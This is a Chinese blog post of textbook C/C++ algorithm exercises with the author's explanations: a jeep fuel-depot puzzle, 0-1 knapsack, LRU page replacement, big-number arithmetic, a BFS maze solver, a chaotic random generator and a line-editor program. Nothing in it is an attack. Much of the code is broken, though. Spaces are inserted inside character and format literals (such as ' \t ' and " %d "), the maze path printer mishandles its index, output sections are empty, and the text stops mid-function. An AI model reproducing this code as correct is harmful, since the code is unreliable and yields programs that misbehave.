下面几个算法题是摘自《C语言实战105例(2006)》。但是有些解答开始没有看懂,然后从网上找了一些解答。
1.储油问题 20
程序如下:
#define MAX_STATION_NUM 32 /*定义最大允许的储油点数目*/
int main()
{
int k,i;
float wDistance; /* wDistance是终点至当前贮油点的距离 */
float storedOil[MAX_STATION_NUM]; /* storedOil[i]是第i个储油点的储油量 */
float distance[MAX_STATION_NUM]; /* distance[i]是第i个储油点到终点的距离 */
puts( " *********************************************** ");
puts( " * this program will solve * ");
puts( " * the problem about storing oil * ");
puts( " *********************************************** ");
puts( " The whole distance is 1000km,and the result is:\n ");
puts( " station distance(km) oil(l) ");
k= 1;
wDistance= 500; /* 从i=1处开始向始点倒推 */
distance[ 1]= 500;
storedOil[ 1]= 500;
while( 1)
{
k++;
wDistance+= 500/( 2*k- 1);
distance[k]=wDistance;
storedOil[k]=storedOil[k- 1]+ 500;
if(wDistance>= 1000)
break;
}
distance[k]= 1000; /* 置始点至终点的距离值 */
storedOil[k]=( 1000-distance[k- 1])*( 2*k+ 1)+storedOil[k- 1]; /* 求始点藏油量 */
for(i= 0;i<k;i++) /* 由始点开始逐一打印始点至当前贮油点的距离和藏油量 */
printf( " %4d %6.3f %6.3f\n ",i, 1000-distance[k-i],storedOil[k-i]);
}
下面是网上的一个分析,我是看了这个之后才理解这个题的:
一、问题描述
一辆吉普车来到1000km宽的沙漠边沿。吉普车的耗油量为1L/km,总装油量为500L。显然,吉普车必须用自身油箱中的油在沙漠中设几个临时 加油点,否则是通不过沙漠的。假设在沙漠边沿有充足的汽油可供使用,那么吉普车应在哪些地方、建多大的临的加油点,才能以最少的油耗穿过这块沙漠?
二、问题分析
本题是一个极值问题,要求具有最小的油耗。因此,它的解是唯一的。吉普车在沙漠中建临时油库,是逐步向前推进的,即建好一个油库后,再建下一个油库。为使油耗最小应做到:
(1)每次吉普车出发时都应满载,放下一部分油再返回时,油恰好用完,并且把下一 个油库建好后这个油库中的油恰好用完。所以每个点的油库中的油都应是吉普车装油量的整数倍(因为出发时满载),即500Xk(k为正整数),并且每个点的 存油量为下一个点的存油量及吉普车为建立下个油库在两点之间往返的油耗之和 (下一个油库建成,前一个油库中的油恰好用完)。
(2)吉普车为建立下一个油库运油次数应最少。
用递推法解这个题,可由一个点的存油量推出相邻的另一个点的存油量及两点之 间的距离。但正推是不可能的,因为第一个点的存油量及其距A的距离尚无法确定。但是可推得最后一个点Cl的存油量应为500L,它与B相距为500km, 这样吉普车从Cl到达B恰好跑一趟B。递推必须由已知的初始条件开始。为此本题应使用倒推法。A为起始点,B为终 点, C1,…,Cn分别为倒数第1,2,…,n个临时油库点。
由于B点无需储油,吉普车只须从Cl到达B即可,所以C1点的存油量应为500L,C1到B的距离为500km。为向C1送500L油,吉普车最少 要满载出发两次(若一趟,因途中要耗油而不可能),往返共三程(应为奇数)。考虑最少油耗,C2点应存油2*500L。由此可得如下关系:
v2=3*x2+500=2*500
x2=500/3
C2:距B的路程为:
d2=d1+x2=500+500/3=(1+1/3)*500
为向C2:送1000L油,吉普车最少要满载出发3次,往返共5趟。考虑最少油耗,C3,点应存油3*500L。由此可得:
v3=5*x3+v2=3*500
x3=500/5
d3=d2+x3=(1+1/3+1/5)*500
同理可知,对倒数第i个点有:
Vi=(2*i-1)Xi+Vi-1=i*500
Xi=500/(2*i-1)
di=di-1+xi=di-1+500/(2*i-1)
递推到di≥1000时结束。当di≥1000时,Ci-1就是倒数最后一个油库点。它距A的距离为1000—di-1。
按照这个我写的代码是:
#include <iostream>
using namespace std;
int main(){
const int N= 20;
double dis[N];
double oil[N];
dis[ 1]= 500;
oil[ 1]= 500;
int k= 1;
while(dis[k]< 1000)
{
k++;
oil[k]=k* 500;
dis[k]=dis[k- 1]+ 500.0/( 2*k- 1);
}
dis[k]= 1000;
oil[k]=oil[k- 1]+( 1000-dis[k- 1])*( 2*k- 1);
for( int i= 1;i<=k;i++)
cout<<i<< ' \t '<< 1000-dis[i]<< ' \t '<<oil[i]<<endl;
}
输出为:
下面是一个问题变形[商人卖胡萝卜]:
一个商人骑一头驴要穿越1000公里长的沙漠,去卖3000根胡萝卜。已知驴一次性可驮1000根胡萝卜,但每走1公里又要吃掉1根胡萝卜。问:商人最多可卖出多少胡萝卜?
同样的道理:为使利益最大,需要建立临时补给站。且临时补给站的存货应该是驴最大负重的整数倍。此题与第一题的不同之处在于在最小消耗下运送最大的量。
设沙漠两端AB,最后的补给站为C1,则C1 = 1000(因为驴子最多驮1000,所以最后的补给站只能有1000),距离B点还有x公里,d1 = x>=0.目标x最小。
C2点:C2 = 1000*2,d2 = d1+x2 = d1+1000/3 = x+1000/3;
C3点:C3 = 1000*3 d3 = d2+x3 = x + (1/3+1/5)*1000
Ci = 1000*I di = x+(1/3+1/5+...+1/(2*i-1))*1000
其实可以看到C3点就应该是原始点了。
商人要卖出最多的胡萝卜就要使Cn = 初始总量W。即把起点也看作一个临时补给站。
所以d3=x+1000/3+1000/5=1000
商人做多可卖出的胡萝卜y = 1000-x = (1/3+1/5)*1000 = 533
参考:http://blog.csdn.net/wcyoot/article/details/6427156
2. 0-1背包问题 22
代码如下:
#define NUM 10/* 定义物品总数*/
#define CONTENT 10 /*定义包的容量*/
void knapsack( int v[NUM], int w[NUM], int c, int m[NUM ][CONTENT])
{
int n=NUM- 1;
int i,j;
int jMax;
if((w[n]- 1)< c)
jMax = w[n]- 1;
else
jMax = c;
/* 初始化m[n][j] */
for(j = 0; j <= jMax; j++)
m[n][j] = 0;
for(j = jMax + 1; j <= c; j++)
m[n][j] = v[n];
/* 使用非递归的算法来求解m[i][j] */
for(i = n- 1; i > 0; i--) {
if((w[i]- 1)< c)
jMax = w[i]- 1;
else
jMax = c;
for(j = 0; j <= jMax; j++)
m[i][j] = m[i+ 1][j] ;
for(j = jMax + 1; j <= c; j++) {
if(m[i+ 1][j] >= (m[i+ 1][j-w[i]]+v[i]))
m[i][j] = m[i+ 1][j] ;
else
m[i][j] = m[i+ 1][j-w[i]]+v[i];
}
}
if(c>w[ 0]) {
if(m[ 1][c] >= (m[ 1][c-w[ 0]]+v[ 0]))
m[ 0][c]= m[ 1][c];
else
m[ 0][c]= m[ 1][c-w[ 0]]+v[ 0];
}
else
m[ 0][c]= m[ 1][c];
}
/* 寻找最优解 */
void traceback( int flag[NUM], int w[NUM], int m[NUM][CONTENT]) {
int n = NUM - 1;
int i;
int c = CONTENT;
for(i = 0; i < n; i++) {
if(m[i][c] == m[i+ 1][c])
flag[i] = 0;
else
{
flag[i] = 1;
c-=w[i];
}
}
if(m[n][c] > 0)
flag[n] = 1;
else
flag[n] = 0;
}
/* 打印最优解 */
void printResult( int flag[NUM], int w[NUM], int v[NUM], int m[NUM][CONTENT]) {
int i;
printf( " the knapsack should contain:\n ");
printf( " num weight value \n ");
for(i = 0;i < NUM; i++)
{
if(flag[i] == 1)
printf( " %d %d %d\n ",i,w[i],v[i]);
}
printf( " the max value in the knapsack is: %d\n ",m[ 0][CONTENT]);
}
int main()
{
int value[NUM]={ 5, 2, 3, 4, 3, 6, 5, 7, 8, 2};
int weight[NUM]={ 2, 1, 3, 2, 4, 3, 5, 6, 2, 2};
int c = CONTENT;
int maxvalue[NUM][CONTENT];
int flag[NUM]={ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
printf( " ****************************************\n ");
printf( " * this program will solve *\n ");
printf( " * the problem of 0-1knapsack *\n ");
printf( " ****************************************\n ");
/* 计算最优值 */
knapsack(value,weight,c,maxvalue);
/* 构造最优解 */
traceback(flag,weight,maxvalue);
/* 打印程序的结果 */
printResult(flag,weight,value,maxvalue);
return 0;
}
对于上面的解释我一直没有理解,所以也是上网找了一些其他的解释,现在基本上理解了。
背包问题重新叙述如下:
我们有n种物品,物品j的重量为wj,价格为pj。我们假定所有物品的重量和价格都是非负的。背包所能承受的最大重量为W。
如果限定每种物品只能选择0个或1个,则问题称为0-1背包问题。可以用公式表示为:
转化为编程习惯的方式就是:
用f[i,j]表示在前 i 件物品中选择若干件放在所剩空间为 j 的背包里所能获得的最大价值
f[i,j]=max{f[i-1,j-wi]+pi (j>=wi), f[i-1,j]}
这样,就可以自底向上地得出在前n件物品中取出若干件放进背包能获得的最大价值,也就是f[n,c]
代码如下:
#define max(x,y) ((x)>(y)?(x):(y))
using namespace std;
const int NUM= 10;
const int Content= 10;
void knapsack( int* v, int* w, int c, int m[][Content+ 1]){
for( int i= 0;i<NUM+ 1;i++)
m[i][ 0]= 0;
for( int j= 0;j<Content+ 1;j++)
m[ 0][j]= 0;
for( int i= 1;i<NUM+ 1;i++){
for( int j= 1;j<Content+ 1;j++){
if(w[i]<=j)
m[i][j]=max(m[i- 1][j],m[i- 1][j-w[i]]+v[i]);
else
m[i][j]=m[i- 1][j];
}
}
for( int i= 0;i<NUM+ 1;i++) {
for( int j= 0;j<Content+ 1;j++){
cout<<m[i][j]<< ' \t ';
}
cout<<endl;
}
cout<<endl;
}
void traceback( int* x, int* w, int m[][Content+ 1]){
for( int i=NUM,j=Content;i> 0;i--)
if(m[i][j]>m[i- 1][j]){
x[i]= 1;
j=j-w[i];
}
}
void print_arr( int *a, int n){
cout<< " ================================================ "<<endl;
for( int i= 0;i<n;i++)
cout<<a[i]<< ' \t ';
cout<<endl;
cout<< " ================================================ "<<endl;
}
int main(){
int v[]={ 0, 5, 2, 3, 4, 3, 6, 5, 7, 8, 2};
int w[]={ 0, 2, 1, 3, 2, 4, 3, 5, 6, 2, 2};
int x[NUM+ 1]={ 0};
int m[NUM+ 1][Content+ 1];
int C=Content;
print_arr(v,NUM+ 1);
print_arr(w,NUM+ 1);
knapsack(v,w,C,m);
traceback(x,w,m);
print_arr(x,NUM+ 1);
for( int i= 0;i<NUM+ 1;i++){
if(x[i])
cout<<i<< ' \t '<<w[i]<< ' \t '<<v[i]<<endl;
}
}
对于上面的代码中,比较难理解的是这儿:
m[i][j]=max(m[i- 1][j],m[i- 1][j-w[i]]+v[i]);
else
m[i][j]=m[i- 1][j];
我的解释如下:
v[i]表示第i件物品的价值,w[i]表示第i件物品的所需的空间(重量)。
m[i][j]表示在前i件物品中选择若干件放在所剩空间为j的背包里所能获得的最大价值。
若w[i]>j,表示现在背包的容量是小于第i个物品的重量的,所以无法将物品i放入背包,这样话
m[i][j]=m[i-1][j];
表示在前i件物品中选择若干件之后放在剩余空间为j的背包里的价值和在前i-1件物品中选择的效果是一样的,因为第i件物品其实是无法放入到此时的剩余空间为j的背包中去的。
若w[i]<=j,表示现在背包的容量是大于第i个物品的重量的,说明第i件产品是有机会放入到背包的,但是也并不是说一定要放入,还要进行下面的操作:
m[i][j]=max(m[i-1][j],m[i-1][j-w[i]]+v[i])
表示将第i件物品放入背包后是否能使得背包中总物品的价值有所升高,而这儿判断的方法就是和不放入的情况比较,而不放入的情况就是m[i-1][j],放入之后的价值怎么计算呢?放入i物品后,剩余空间要减少到j-w[i],需要此时(重量为j-w[i]时)包里物品的价值加上i物品的价值v[i],而重量为j-w[i]时包里的价值是通过查表得到的,因为前面已经计算出来了,即m[i-1][j-w[i]],所以,放入i后的价值就是m[i-1][j-w[i]]+v[i]
程序的一个输出如下:
参考:
http://www.cnblogs.com/DanielZheng/archive/2011/08/23/2151112.html
http://www.hnyzsz.net/Article/ShowArticle.asp?ArticleID=737
3. 模拟LRU页面置换算法25
代码如下:
#include<stdlib.h>
#define PAGENUM 6 /*主存中允许的最大的页数*/
#define MAXPAGENUM 15 /* 一个程序包含的最大页数*/
/* 定义栈的结构 即置换器 */
typedef struct stack
{
int page[PAGENUM];
int head;
}PAGER;
/* 定义一个置换器 */
PAGER pager;
int random_( int MAX){
return rand()%MAX;
}
void randomize(){
srand(time( 0));
}
/* 栈的初始化 */
void InitPager()
{
int top = 0;
int i,j,tmp;
int r;
randomize();
r = random_(MAXPAGENUM);
pager.page[top++] = r;
while(top < PAGENUM )
{
randomize();
r = random_(MAXPAGENUM);
for(j = 0;j<top;j++)
{
if(r == pager.page[j])
{
break;
}
if(j == top- 1)
pager.page[top++] = r;
}
}
pager.head = PAGENUM - 1;
}
/* 栈中成员的移动,即移动页面的操作 */
void MovingPage( int Begin )
{
int i;
for(i = Begin; i < PAGENUM- 1; i++)
{
pager.page[i] = pager.page[i+ 1] ;
}
}
/* 出栈操作,即 交换出页面的操作 */
void PopPage( int p)
{
MovingPage(p);
pager.head = PAGENUM - 2;
}
/* 入栈操作 ,即换进新页面的操作 */
void PushPage( int page)
{
pager.head = PAGENUM- 1;
pager.page[pager.head] = page;
}
/* 打印主存中的页面 */
void printPager()
{
int i;
printf( " The pages in the pager is: ");
for(i = 0; i< PAGENUM;i++)
{
printf( " %d ",pager.page[i]);
}
printf( " \n ");
}
/* 处理页面的换进和换出 */
void PagingProcess()
{
int rdm;
int i;
randomize();
rdm = random_(MAXPAGENUM);
for(i = 0; i< PAGENUM; i++)
{
if(rdm == pager.page[i])
{
printPager();
printf( " The page [%d] will be accessed\n ",rdm);
PopPage(i);
PushPage(rdm);
printPager();
break;
}
if(i == PAGENUM- 1)
{
printPager();
printf( " The page [0] will be paged out\n ");
PopPage( 0);
printf( " The page [%d] will be paged in\n ",rdm);
PushPage(rdm);
printPager();
}
}
}
int main()
{
int i;
for(i = 0; i< 3; i++)
{
InitPager();
printf( " ROUND %d:\n\n ",i+ 1);
PagingProcess();
}
return 0;
}
这是网上的更加详细的解释:
LRU(Least Recently Used)置换算法的描述:
FIFO置换算法性能之所以较差,是因为它所依据的条件是各个页面调入内存的时间,而页面调入的先后并不能反映页面的使用情况。最近最久未使用(LRU)的页面置换算法,是根据页面调入内存后的使用情况进行决策的。由于无法预测各页面将来的使用情况,只能利用"最近的过去"作为"最近的将来"的近似,因此,LRU置换算法是选择最近最久未使用的页面予以淘汰。该算法赋予每个页面一个访问字段,用来记录一个页面自上次被访问以来所经历的时间t,当须淘汰一个页面时,选择现有页面中其t值最大的,即最近最久未使用的页面予以淘汰。
利用LRU算法对上例进行页面置换的结果如下图 所示。当进程第一次对页面2进行访问时,由于页面7是最近最久未被访问的,故将它置换出去。当进程第一次对页面3进行访问时,第1页成为最近最久未使用的页,将它换出。由图可以看出,前5个时间的图像与最佳置换算法时的相同,但这并非是必然的结果。因为,最佳置换算法是从"向后看"的观点出发的,即它是依据以后各页的使用情况;而LRU算法则是"向前看"的,即根据各页以前的使用情况来判断,而页面过去和未来的走向之间并无必然的联系。
我用vector进行模拟:对每一个页面进行一个计数, 对于新来的页面, 先进行查找, 如果找到就将该页面的计数清零,如果没有找到,就查找计数最大的进行替换.
#include <vector>
#include <algorithm>
#include <iterator>
#define printv(vec,type) copy(vec.begin(),vec.end(),ostream_iterator<type>(cout," "));\
cout<<endl;
using namespace std;
const int COUNT= 0;
struct Page{
int id;
int count;
Page( int i):id(i),count(COUNT){}
bool operator==( const Page& rhs){
return id==rhs.id;
}
bool operator!=( const Page& rhs){
return id!=rhs.id;
}
};
ostream& operator<<(ostream& os, const Page& pg){
os<< " [ "<<pg.id<< " , "<<pg.count<< " ] ";
return os;
}
int main(){
int a[]={ 7, 0, 1, 2, 0, 3, 0, 4, 2, 3, 0, 3, 2, 1, 2, 0, 1, 7, 0, 1};
int len= sizeof(a)/ sizeof( int);
int sz= 3;
vector<Page> vmem(a,a+sz);
printv(vmem,Page);
vector<Page>::iterator ite,pos;
for( int i= 3;i<len;i++){
Page pg(a[i]);
pos=find(vmem.begin(),vmem.end(),pg);
if(pos==vmem.end())
{
int m=- 1;
for(ite=vmem.begin();ite!=vmem.end();++ite)
if(ite->count>m)
{
m=ite->count;
pos=ite;
}
pos->id=a[i];
}
pos->count=COUNT;
for(ite=vmem.begin();ite!=vmem.end();++ite)
if(*ite!=*pos)
(ite->count)++;
printv(vmem,Page);
}
}
输出如下:
下面对程序进行了一些修改, 可以随机产生页面:
#include <vector>
#include <algorithm>
#include <iterator>
#include <cstdlib>
#define printv(vec,type) copy(vec.begin(),vec.end(),ostream_iterator<type>(cout," "));\
cout<<endl;
using namespace std;
const int COUNT= 0;
struct Page{
int id;
int count;
Page( int i):id(i),count(COUNT){}
bool operator==( const Page& rhs){
return id==rhs.id;
}
bool operator!=( const Page& rhs){
return id!=rhs.id;
}
};
ostream& operator<<(ostream& os, const Page& pg){
os<< " [ "<<pg.id<< " , "<<pg.count<< " ] ";
return os;
}
int main(){
int a[]={ 7, 0, 1, 2, 0, 3, 0, 4, 2, 3, 0, 3, 2, 1, 2, 0, 1, 7, 0, 1};
int len= sizeof(a)/ sizeof( int);
int sz= 3;
srand(time( 0));
vector<Page> vmem(a,a+sz);
printv(vmem,Page);
vector<Page>::iterator ite,pos;
int N= 20;
for( int i= 0;i<N;i++){
int val=rand()% 7;
Page pg(val);
pos=find(vmem.begin(),vmem.end(),pg);
if(pos==vmem.end())
{
int m=- 1;
for(ite=vmem.begin();ite!=vmem.end();++ite)
if(ite->count>m)
{
m=ite->count;
pos=ite;
}
pos->id=val;
}
pos->count=COUNT;
for(ite=vmem.begin();ite!=vmem.end();++ite)
if(*ite!=*pos)
(ite->count)++;
cout<<val<< ' ';
printv(vmem,Page);
}
}
4. 大数阶乘模拟 26
#include<stdlib.h>
/* 定义数组的最大位数 */
#define MAXARRAY 1000
int main()
{
int fac[MAXARRAY],add[MAXARRAY];
int top,n,i,j;
char ch;
while( 1)
{
/* 输入要计算的整数 */
while( 1)
{
printf( " Please input the integer to compute:\n ");
scanf( " %d ",&n);
if(n< 0)
{
printf( " Please input an integer greater -1\n ");
continue;
}
else
break;
}
/* 初始化结果数组和进位数组 */
fac[ 0]= 1;
add[ 0]= 0;
for(j= 1;j<=MAXARRAY- 1;j++)
{
fac[j]= 0;
add[j]= 0;
}
top= 0;
for(i= 1;i<=n;i++)
{
/* 计算进位数组add */
for(j= 0;j<=top;j++)
{
fac[j]=fac[j]*i;
if(j== 0)
add[j]=fac[j]/ 10;
else
add[j]=(fac[j]+add[j- 1])/ 10;
}
/* 更新top的值 */
if(add[top]>= 1)
top++;
/* 计算结果数组fac */
for(j= 0;j<=top;j++)
{
if(j== 0)
fac[j]=fac[j]% 10;
else
fac[j]=(fac[j]+add[j- 1])% 10;
}
}
/* 输出结果数组fac */
printf( " \n%d!= ",n);
for(j=top;j>= 0;j--)
{
printf( " %d ",fac[j]);
}
printf( " \n\n ");
printf( " Please input 'c' to continue.\n ");
ch=getchar();
if(ch!= ' c ')
break;
}
return 0;
}
下面是计算两个数相乘的运算:
#include <cstring>
using namespace std;
void multiply( const char* a, const char* b, char *c){
int carry;
int i,j,k;
i= 0;
while(a[i]!= ' \0 '){
carry= 0;
j= 0;
k=i;
while(b[j]!= ' \0 '){
char fac=(a[i]- ' 0 ')*(b[j]- ' 0 ')+carry+c[k];
carry=fac/ 10;
fac=fac% 10;
c[k]=fac;
j++;
k++;
}
if(carry)
c[k]=carry;
i++;
}
}
int main( int argc, char* argv[]){
char *a=argv[ 1];
char *b=argv[ 2];
int len=strlen(a)+strlen(b);
char *c= new char[len];
for( int i= 0;i<len;i++)
c[i]= 0;
multiply(a,b,c);
int i;
for(i=len- 1;c[i]== 0;i--);
for( int j=i;j>= 0;j--) {
c[j]+= ' 0 ';
cout<<c[j];
}
cout<<endl;
delete[] c;
}
下面是一个使用vector实现的大数乘法,这个实现方式比较容易理解.
#include < string>
#include <vector>
using std::cout;
using std::cin;
using std::endl;
using std:: string;
using std::vector;
void multiply(vector< int> &a,vector< int> &b,vector< int> &result)
{
int k;
for( int i= 0;i<a.size();++i){
k=i;
for( int j= 0;j<b.size();++j){
result[k++]+=a[i]*b[j];
}
}
for(k=result.size()- 1;k>= 0;--k){
if(result[k]> 9){
if(k!= 0){
result[k- 1]+=result[k]/ 10;
result[k]%= 10;
}
else{
int tmp=result[k]/ 10;
result[k]%= 10;
result.insert(result.begin(),tmp);
}
}
}
}
int main( int argc, char*argv[])
{
if(argc< 3){
cout<< " Usage: "<<argv[ 0]<< " num1 num2 "<<endl;
return - 1;
}
string s1(argv[ 1]),s2(argv[ 2]);
vector< int> a,b;
a.reserve(s1.size());
b.reserve(s2.size());
for( int i= 0;i<s1.size();++i){
a.push_back(s1[i]- ' 0 ');
}
for( int i= 0;i<s2.size();++i){
b.push_back(s2[i]- ' 0 ');
}
vector< int>c(a.size()+b.size()- 1, 0);
multiply(a,b,c);
for( int i= 0;i<c.size();++i)
cout<<c[i];
cout<<endl;
return 0;
}
5. 模拟迷宫 28
代码如下:
#define ROW 8
#define COLUMN 8
#define STEP ROW*COLUMN
/* ROW表示迷宫的行数,COLUMN表示迷宫的列数,STEP表示队列的容量 */
/* 定义一个用来记录迷宫探路的队列 */
struct StepQueue
{
int x,y;
int PreStep;
}StepQ[STEP],tmpStepQ[STEP];
/* 定义一个结构体用来表示迷宫中的移动方向,一共有8种方向 */
struct MoveD
{
/* x,y坐标增量,取值-1,0,1 */
int x, y;
}move[ 8];
/* 迷宫探路函数 */
int PathMaze( int maze[ROW][COLUMN])
{
int i,j,k,v,front,rear,x,y,l;
/* 声明一个标记数组来记录一个是否到达过某个点,并进行初始化 */
int mark[ROW][COLUMN];
for(i= 0;i<ROW;i++)
for(j= 0;j<COLUMN;j++)
mark[i][j]= 0;
/* 初始化入口点 */
StepQ[ 1].x= 1;
StepQ[ 1].y= 1;
StepQ[ 1].PreStep= 0;
front= 1;
rear= 1;
mark[ 1][ 1]= 1;
while(front<=rear)
{
/* 以(x,y)为出发点进行搜索 */
x=StepQ[front].x;
y=StepQ[front].y;
/* 搜索(x,y)的8个相邻(i,j)是否可以到达 */
for(v= 0;v< 8;v++)
{
i=x+move[v].x;
j=y+move[v].y;
/* (i,j)为可以到达点,将起入队 */
if((maze[i][j]== 0)&&(mark[i][j]== 0))
{
rear++;
StepQ[rear].PreStep=front;
StepQ[rear].x=i;
StepQ[rear].y=j;
mark[i][j]= 1;
}
/* 如果到达出口,则输出路径 */
if((i==ROW- 2)&&(j==COLUMN- 2))
{
printf( " \nThe Path in this maze is: \n\n ");
k=rear;
l= 0;
/* k==0说明已经到达 */
while(k!= 0)
{
tmpStepQ[l++].x=StepQ[k].x;
tmpStepQ[l++].y=StepQ[k].y;
/* 找前一点 */
k=StepQ[k].PreStep;
}
/* 输出路径 */
while(l> 0)
printf( " (%d,%d)> ",tmpStepQ[--l].x,tmpStepQ[--l].y);
printf( " (%d,%d) ",tmpStepQ[ 0].x,tmpStepQ[ 0].y);
return( 1);
}
}
/* 从队列中弹出一个点,front指向新的出发点 */
front++;
}
/* 队空说明没有路径 */
printf( " There is no Path in the maze! \n ");
return( 0);
}
/* 迷宫生成函数 */
void CreateMaze( int maze[ROW][COLUMN])
{
int i,j;
for(i= 0;i<COLUMN;i++)
{
maze[ 0][i]= 1;
maze[ROW- 1][i]= 1;
}
for(i= 0;i<ROW;i++)
{
maze[i][ 0]= 1;
maze[i][COLUMN- 1]= 1;
}
maze[ 1][ 1]= 0;maze[ 1][ 2]= 1;maze[ 1][ 3]= 0;maze[ 1][ 4]= 1;maze[ 1][ 5]= 1;maze[ 1][ 6]= 0;
maze[ 2][ 1]= 1;maze[ 2][ 2]= 0;maze[ 2][ 3]= 0;maze[ 2][ 4]= 1;maze[ 2][ 5]= 1;maze[ 2][ 6]= 0;
maze[ 3][ 1]= 0;maze[ 3][ 2]= 1;maze[ 3][ 3]= 1;maze[ 3][ 4]= 0;maze[ 3][ 5]= 0;maze[ 3][ 6]= 1;
maze[ 4][ 1]= 1;maze[ 4][ 2]= 0;maze[ 4][ 3]= 0;maze[ 4][ 4]= 1;maze[ 4][ 5]= 1;maze[ 4][ 6]= 0;
maze[ 5][ 1]= 1;maze[ 5][ 2]= 1;maze[ 5][ 3]= 0;maze[ 5][ 4]= 0;maze[ 5][ 5]= 1;maze[ 5][ 6]= 1;
maze[ 6][ 1]= 0;maze[ 6][ 2]= 1;maze[ 6][ 3]= 1;maze[ 6][ 4]= 1;maze[ 6][ 5]= 0;maze[ 6][ 6]= 0;
for(i= 0;i<ROW;i++)
{
printf( " \n ");
for(j= 0;j<COLUMN;j++)
printf( " %2d ",maze[i][j]);
}
}
int main()
{
/* 声明一个用来放迷宫的数组 */
int maze[ROW][COLUMN];
/* 初始化移动方向数组 */
move[ 0].x=- 1;move[ 0].y=- 1;move[ 1].x=- 1;move[ 1].y= 0;
move[ 2].x=- 1;move[ 2].y= 1;move[ 3].x= 0;move[ 3].y=- 1;
move[ 4].x= 0;move[ 4].y= 1;move[ 5].x= 1;move[ 5].y=- 1;
move[ 6].x= 1;move[ 6].y= 0;move[ 7].x= 1;move[ 7].y= 1;
printf( " *********************************\n ");
printf( " | Welcome to our maze |\n ");
printf( " *********************************\n ");
/* 创建一个迷宫 */
CreateMaze(maze);
/* 迷宫中探路 */
PathMaze(maze);
return 0;
}
6. 实现高随机度随机数 29
代码如下:
#include <sys/timeb.h>
/* 返回随机数序列初值 */
double Initial()
{
double init;
struct timeb tmb;
while( 1)
{
ftime(&tmb);
/* 利用DOS系统的时钟产生随机数序列初值 */
init=tmb.millitm* 0.9876543* 0.001;
if(init>= 0.001)
break;
}
return init;
}
/* 返回一个(0,1)之间的随机数 */
double Random( void)
{
static double rndm=- 1.0;
if(rndm==- 1.0)
rndm=Initial();
else
rndm= 3.80*rndm*( 1.0-rndm);
return rndm;
}
int main()
{
double randnum;
int i;
puts( " ********************************************* ");
puts( " | This program can generate a random number | ");
puts( " | Press 'q' to quit | ");
puts( " | Press any other key to generate | ");
puts( " ********************************************* ");
while( 1)
{
if(getchar()== ' q ')
break;
randnum = Random();
printf ( " \n >> the randnum is:%f\n ",randnum );
}
return 0;
}
7. 文件操作 43,44
/* 定义每个文件的输出宽度 */
#define LINEWIDTH 20
/* 定义两个文件之间的间隔 */
#define INTERVAL 5
/* 定义函数来完成从指定的文件中读出一行多至LINEWIDTH个字符并输出 */
int OutputFile(FILE *fp)
{
int num= 0;
char c;
while((c=fgetc(fp))!= ' \n ')
{
/* 文件结束推出循环 */
if(feof(fp))
break;
printf( " %c ",c);
num++;
/* 输出LINEWIDTH个字符则推出循环 */
if(num>=LINEWIDTH)
break;
}
/* 返回读入并输出的字符数 */
return num;
}
int main()
{
FILE *fp1,*fp2;
/* 存贮文件名 */
char filename1[ 128],filename2[ 128];
/* 分别记录两个文件当前行读入并输出的字符数 */
int linenum1,linenum2,i;
clrscr();
printf( " Input file1's name:\n ");
scanf( " %s ",filename1);
/* 打开文件1 */
fp1=fopen(filename1, " r ");
if(fp1==NULL)
{
printf( " Can't open file %s.\n ",filename1);
return 0;
}
printf( " Input file2's name:\n ");
scanf( " %s ",filename2);
/* 打开文件2 */
fp2=fopen(filename2, " r ");
if(fp2==NULL)
{
printf( " Can't open file %s.\n ",filename2);
fclose(fp1);
return 0;
}
/* 在有文件还未结束时循环 */
while(!feof(fp1)||!feof(fp2))
{
linenum1= 0;
linenum2= 0;
/* 在文件未结束时读文件 */
if(!feof(fp1))
linenum1=OutputFile(fp1);
/* 输出空格 */
for(i= 0;i<(LINEWIDTH-linenum1+INTERVAL);i++)
printf( " ");
if(!feof(fp2))
linenum2=OutputFile(fp2);
for(i= 0;i<(LINEWIDTH-linenum2+ 5);i++)
printf( " ");
/* 输出每行的字符数 */
printf( " %2d\n ",linenum1+linenum2);
}
fclose(fp1);
fclose(fp2);
getch();
return 0;
}
#define MAXLEN 100
#define MAXLINE 100
char Buffer[MAXLEN],filename[ 128];
/* 定义字符指针数组来存储要编辑的文本行指针 */
char *LinePointer[MAXLINE];
/* 正文被修改标志 */
int Modified= 0;
/* 当前正文行数 */
int LineNum;
char *CmdPointer; /* 输入命令行字符指针 */
void Quit()
{
int i;
char c;
/* 如正文被修改,则提示用户是否要保存 */
if(Modified== 1)
{
printf( " Save or not? (y/n): ");
scanf( " %c ",&c);
/* 保存被修改过的正文 */
if(c== ' y '||c== ' Y ')
Save();
}
/* 释放内存 */
for(i= 0;i<LineNum;i++)
free(LinePointer[i]);
}
void Insert()
{
int k,m,i;
/* 读入参数 */
sscanf(CmdPointer, " %d%d ",&k,&m);
/* 后继行向后移 */
for(i=LineNum;i>m;i--)
LinePointer[i+k- 1]=LinePointer[i- 1];
/* 读入k行正文,并插入到指针数组,待写入文件 */
for(i= 0;i<k;i++)
{
fgets(Buffer,MAXLEN,stdin);
LinePointer[m+i]=( char *)malloc(strlen(Buffer)+ 1);
strcpy(LinePointer[m+i],Buffer);
}
/* 修正正文行数及设置正文被修改标志 */
LineNum+=k;
Modified= 1;
}
void Delete()
{
int i,j,m,n;
sscanf(CmdPointer, " %d%d ",&m,&n); /* 读入参数 */
if(n>LineNum)
n=LineNum;
/* 删除正文 */
for(i=m;i<=n;i++)
free(LinePointer[i- 1]);
for(i=m,j=n+ 1;j<=LineNum;i++,j++)
LinePointer[i- 1]=LinePointer[j- 1];
/* 修正正文行数及设置正文被修改标志 */
LineNum=i- 1;
Modified= 1;
}
int Save() /* 保存文件 */
{
int i;
FILE *fp;
if((fp=fopen(filename, " w "))==NULL)
{
printf( " Can't open the %s.\n ",filename);
return 0;
}
for(i= 0;i<LineNum;i++)
{
fputs(LinePointer[i],fp);
free(LinePointer[i]);
}
fclose(fp);
return 1;
}
/* 编辑命令函数 */
void Edit()
{
int i;
FILE *fp;
/* 读入文件名 */
sscanf(CmdPointer, " %s ",filename);
/* 以读的方式打开文件 */
if((fp=fopen(filename, " r "))==NULL)
{ /* 如不存在,则创建文件 */
fp=fopen(filename, " w ");
fclose(fp);
fp=fopen(filename, " r ");
}
i= 0;
while(fgets(Buffer,MAXLEN,fp)==Buffer)
{
LinePointer[i]=( char *)malloc(strlen(Buffer)+ 1);
strcpy(LinePointer[i++],Buffer);
}
fclose(fp);
LineNum=i;
}
int main()
{
int j,flag= 0,flag2= 0;
LineNum= 0;
clrscr();
printf( " *******************************\n ");
